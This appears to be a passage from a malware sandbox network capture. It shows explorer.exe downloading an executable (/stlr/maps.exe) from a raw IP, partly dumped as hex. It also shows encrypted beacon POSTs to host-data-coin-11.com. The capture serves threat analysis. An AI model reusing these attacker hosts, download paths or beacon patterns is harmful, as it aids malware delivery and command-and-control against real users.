Dec 31, 2021 19:13:26.157053947 CET	14163	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:26 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 43 fc 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ACSvDg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49862	164.132.207.80	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49845	91.243.44.128	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:26.242392063 CET	14163	OUT	GET /stlr/maps.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 91.243.44.128
Dec 31, 2021 19:13:26.310444117 CET	14165	IN	HTTP/1.1 200 OK Date: Fri, 31 Dec 2021 18:13:26 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Fri, 31 Dec 2021 09:21:26 GMT ETag: "181490-5d46db1fb73a3" Accept-Ranges: bytes Content-Length: 1578128 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 13 aa cc 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2e 01 00 00 82 03 00 00 00 00 00 00 50 3f 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 40 00 00 04 00 00 63 e0 18 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 40 3d 00 58 01 00 00 00 50 3d 00 1c f6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 61 64 61 74 61 00 00 00 30 3d 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 61 64 61 74 61 00 00 00 10 00 00 00 40 3d 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 1c f6 01 00 00 50 3d 00 1c f6 01 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 65 78 74 00 00 00 00 80 01 00 00 50 3f 00 51 7d 01 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 71 26 86 f4 5a db 45 07 0b a0 46 07 ed 57 50 76 eb 80 e8 0f e7 2b 84 d4 93 59 a4 35 74 61 a8 22 02 2c 0a 81 1f 8f 05 52 f9 2a 57 76 8b e6 81 eb c3 f5 d1 66 f7 03 6c 40 3d 00 Data Ascii: MZog':(332fC'B{b+Rd:QPELa.P?@@@c@@=XP=.adata0=`.adata@=@.rsrcP=@@.textP?Q}@q&ZEFWPv+Y5ta",R*Wvfl@=
Dec 31, 2021 19:13:26.310487032 CET	14166	IN	Data Raw: 00 00 00 00 00 00 00 00 a4 40 3d 00 64 40 3d 00 7c 40 3d 00 00 00 00 00 00 00 00 00 cb 40 3d 00 74 40 3d 00 8c 40 3d 00 00 00 00 00 00 00 00 00 e8 40 3d 00 84 40 3d 00 9c 40 3d 00 00 00 00 00 00 00 00 00 13 41 3d 00 94 40 3d 00 00 00 00 00 00 00 Data Ascii: @=d@=\|@=@=t@=@=@=@=@=A=@=@=@=@=@=@=@=%A=%A=kernel32.dll@?GetModuleHandleAuser32.dllLScrollDCadvapi32.dll
Dec 31, 2021 19:13:26.310525894 CET	14167	IN	Data Raw: 2c ff 50 3e 2c ff 4d 3a 28 ff 56 45 33 ff 91 86 7b ff 96 8b 7f ff 5b 47 33 ff 5e 49 35 ff 5e 49 35 b9 5e 49 35 77 5e 49 35 fd 5e 49 35 ff 73 61 4f ff 94 86 7a ff 8b 7e 72 ff 64 54 44 ff 4f 3d 2b ff 4f 3d 2b ff 64 54 44 ff 8b 7e 72 ff 94 87 7a ff Data Ascii: ,P>,M:(VE3{[G3^I5^I5^I5w^I5^I5saOz~rdTDO=+O=+dTD~rzsaP^I5^I5^I5w^I5%^I5^I5]H3`K7xfU\|tt\|xfU`K7]H3^I5^I5^I5%^I5^I5e^I5^I5^I5]G3`K7ucQucQ`K7\G3^I5^I5^I5^I5e^I5^I5^I5^I5^I5^
Dec 31, 2021 19:13:26.310578108 CET	14169	IN	Data Raw: 5e 49 35 00 5e 49 35 6c 5e 49 35 f8 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5d 49 35 ff 56 43 30 ff 50 3e 2c ff 4f 3d 2b ff 4d 3b 29 ff 4d 3b 29 ff 4f 3d 2b ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e Data Ascii: ^I5^I5l^I5^I5^I5^I5^I5^I5^I5]I5VC0P>,O=+M;)M;)O=+P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,n.#R?-Q?-^I5^I5^I56^I5^I5^I5^I5^I5^I5^I5^I5VC0O=+N;)\L;wjwj\L;N;)O=+P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,8P>,
Dec 31, 2021 19:13:26.310621977 CET	14170	IN	Data Raw: 29 ff 53 41 2f ff 79 6b 5d ff b6 af a7 ff c4 bd b7 ff 8e 82 76 ff 66 56 46 ff 93 88 7c ff cf ca c5 ff 7a 6c 5f ff 4e 3c 29 ff 50 3e 2c ff 56 43 30 ff 5d 48 35 ff 5e 49 35 ff 5e 49 35 ab 5e 49 35 9d 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff Data Ascii: )SA/yk]vfVF\|zl_N<)P>,VC0]H5^I5^I5^I5^I5^I5^I5^I5^I5^I5ufyk]SA/N<)P>,P>,P>,P>,N<)SA/yk]}obP>,P>,VC0]H5^I5^I5^I5^I5}^I5^I5^I5^I5]G3xfUxj\SA/N<)P>,P
Dec 31, 2021 19:13:26.310662031 CET	14171	IN	Data Raw: 5e 49 35 00 00 00 00 00 5e 49 35 00 5e 49 35 00 5e 49 35 00 5e 49 35 0c 5e 49 35 89 5e 49 35 f8 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 35 ff 5e 49 Data Ascii: ^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5l^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5l^I5^I5
Dec 31, 2021 19:13:26.310714006 CET	14173	IN	Data Raw: 33 ff 52 40 2d ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c f3 50 3e 2c c6 50 3e 2c 74 51 3f 2c 22 3d 30 23 00 51 3f 2c 00 56 43 2e 00 50 40 2e 00 52 40 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3R@-P>,P>,P>,P>,P>,P>,P>,tQ?,"=0#Q?,VC.P@.R@-^I5^I5^I6^I5^I5^I5^I5o^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5[F3R@-P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,sQ?-O=,R
Dec 31, 2021 19:13:26.310756922 CET	14174	IN	Data Raw: 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c f7 50 3e 2c 72 56 44 31 01 52 40 Data Ascii: P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,rVD1R@-UC.^I5^I5^I5^I5@^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5[F3R?-P>,P>,P>,N<M;)M;)N<P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,
Dec 31, 2021 19:13:26.310795069 CET	14176	IN	Data Raw: 68 ff b1 a9 a2 ff b1 a9 a1 ff 81 74 67 ff 56 44 33 ff 4e 3b 29 ff 4f 3d 2b ff 4d 3b 29 ff 5a 49 38 ff 8e 82 76 ff d3 cf ca ff ea e8 e6 ff ba b3 ac ff 75 67 59 ff 52 40 2e ff 4e 3c 2a ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff Data Ascii: htgVD3N;)O=+M;)ZI8vugYR@.N<*P>,P>,P>,P>,P>,P>,P>,P>,Q?,GP>,^I5^I5^I5^I5^I5^I5^I5^I5^I5^I4{jZvZI8N;)O=+N;)VE3viuiVD3N;)O=+N;)ZI8v
Dec 31, 2021 19:13:26.311052084 CET	14177	IN	Data Raw: b5 ad a5 ff 71 62 53 ff 52 40 2e ff 52 40 2e ff 71 62 54 ff b5 ad a6 ff e8 e6 e4 ff d6 d2 ce ff 92 86 7b ff 5c 4b 3b ff 4e 3b 29 ff 4f 3d 2b ff 4e 3c 29 ff 54 43 31 ff 7c 6e 61 ff ce c9 c5 ff dc d9 d5 ff 60 50 3f ff 4f 3d 2b ff 50 3e 2c ff 50 3e Data Ascii: qbSR@.R@.qbT{\K;N;)O=+N<)TC1\|na`P?O=+P>,P>,P>,Q?-ZF2^I5^I5^I5}^I5~^I5^I5^I5^I5^I5^I5^I5]H4mZG{n`TC1M;)]M<~qbTQ?-N<P>,P>,N<Q?-qcT{\K;M;)
Dec 31, 2021 19:13:26.378552914 CET	14178	IN	Data Raw: 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 50 3e 2c ff 4f 3d 2b ff 4e 3b 29 ff 5a 49 38 ff 8d 82 76 ff d3 ce ca ff ec ea e8 ff c1 b9 b1 ff 7b 6a 59 ff 5e 49 35 ff 5e 49 35 ff Data Ascii: ,P>,P>,P>,P>,P>,P>,P>,P>,P>,P>,O=+N;)ZI8v{jY^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5^I5D^I5^I5^I5^I5^I5^I5^I5^I5\G3`K7p`wZI9M;)O=+P>,P>,P>,P>,P>,P>,P>,P>,O=+M;)ZI8v

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49850	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:28.663789988 CET	15824	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://alvmf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 190 Host: host-data-coin-11.com
Dec 31, 2021 19:13:28.663800955 CET	15825	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 84 de 82 66 5d 02 c9 a1 c1 64 4f c0 91 38 Data Ascii: lIw3xKaEMnXwmDu$f]dO8_hhvKpk>}J'YCYMev`V/&JRPm>g)Xu+G5SM&=j?/jNr7
Dec 31, 2021 19:13:28.735169888 CET	15825	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49851	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:28.880382061 CET	15827	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lmejikyses.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 306 Host: host-data-coin-11.com
Dec 31, 2021 19:13:28.880485058 CET	15827	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 1c 87 a6 25 Data Ascii: lIw3xKaEMnXwmDu$f]d%Jb`sIkyP?viYaw$I_XU(HyX2,\yETDQx@,-EDd^bQn8d"xFLB,?sN+\|wR>`^MXF
Dec 31, 2021 19:13:28.954261065 CET	15828	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49853	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:29.034718037 CET	15829	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wuvrdu.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 299 Host: host-data-coin-11.com
Dec 31, 2021 19:13:29.036668062 CET	15830	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 17 c5 af 10 Data Ascii: lIw3xKaEMnXwmDu$f]dPn]*A=)e)9T,&,R_mMBzvgnA\72T`v9sSj#qai%K\U%v5VF0EWjadf_m63@
Dec 31, 2021 19:13:29.112118959 CET	15831	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49854	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:29.189043999 CET	15832	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jlggyrd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 271 Host: host-data-coin-11.com
Dec 31, 2021 19:13:29.189057112 CET	15833	OUT	Data Raw: 10 87 f1 e4 6c 84 a2 b7 ba 49 77 33 78 c9 e0 88 4b 61 dd 45 a2 4d 6e eb cd 9e ac f4 fb af e1 f6 19 b2 58 a9 19 1e cc e4 ee da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 44 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 22 b1 d7 25 Data Ascii: lIw3xKaEMnXwmDu$f]d"%5pb~w2Z}E=2 e\J\{}CD2<JQ?"!``[V$)/4}c48?"=74Nq74(6i7G7>S=OeU
Dec 31, 2021 19:13:29.270298958 CET	15833	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 31 Dec 2021 18:13:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49855	31.28.27.130	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 31, 2021 19:13:29.354819059 CET	15834	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mlffung.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: host-data-coin-11.com
